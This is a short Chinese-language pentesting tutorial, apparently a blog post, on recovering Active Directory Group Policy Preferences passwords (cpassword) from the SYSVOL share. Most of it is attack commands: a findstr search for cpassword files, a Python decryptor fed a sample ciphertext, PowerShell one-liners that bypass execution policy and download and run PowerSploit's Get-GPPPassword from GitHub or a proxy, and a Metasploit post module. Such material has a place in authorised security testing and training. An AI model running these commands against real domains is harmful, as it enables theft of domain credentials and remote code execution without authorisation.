0、前言
SYSVOL 是活动目录里的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控之间进行复制,SYSVOL 在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录域范围内共享,所有的域策略均存放在 C:\Windows\SYSVOL\DOMAIN\Policies\ 目录中。
管理员在域中新建一个组策略后,系统会自动在 SYSVOL 目录中生成一个 XML 文件。
该文件中保存了该组策略更新后的密码,该密码使用 AES-256 算法,但 2012 年微软公布了该密码的私钥,也就是说任何人都可以对其进行解密。
1、查找包含 cpassword 的 XML 文件
浏览 SYSVOL 文件夹,手动查找包含 cpassword 的 XML 文件
或者使用 findstr 自动搜索包含 cpassword 的 XML 文件
findstr /s /i "cpassword" C:\Windows\SYSVOL\*.xml
2、解密 cpassword 密文
python 脚本
Gpprefdecrypt.py 下载地址:https://raw.githubusercontent.com/leonteale/pentestpackage/master/Gpprefdecrypt.py
python2.7 Gpprefdecrypt.py Wdkeu1drbxqPJm7YAtPtwBtyzcqO88hJUBDD2eseoY0
PowerShell 脚本
PowerSploit 项目中提供了 Get-GPPPassword.ps1 脚本。
直接远程下载脚本执行:
PowerShell.exe -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"
如果无法下载可以使用 github 代理
PowerShell.exe -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('https://ghproxy.com/https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"
或者下载到本地,执行也行
Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword
如果 PowerShell 由于处在受限模式以至于无法导入脚本,可以使用以下命令绕过。
powershell.exe -exec bypass -command "&{Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword}"
MSF
使用 post/windows/gather/credentials/gpp 模块也可以
use post/windows/gather/credentials/gpp
set session 1
run
更多信息欢迎关注我的微信公众号:TeamsSix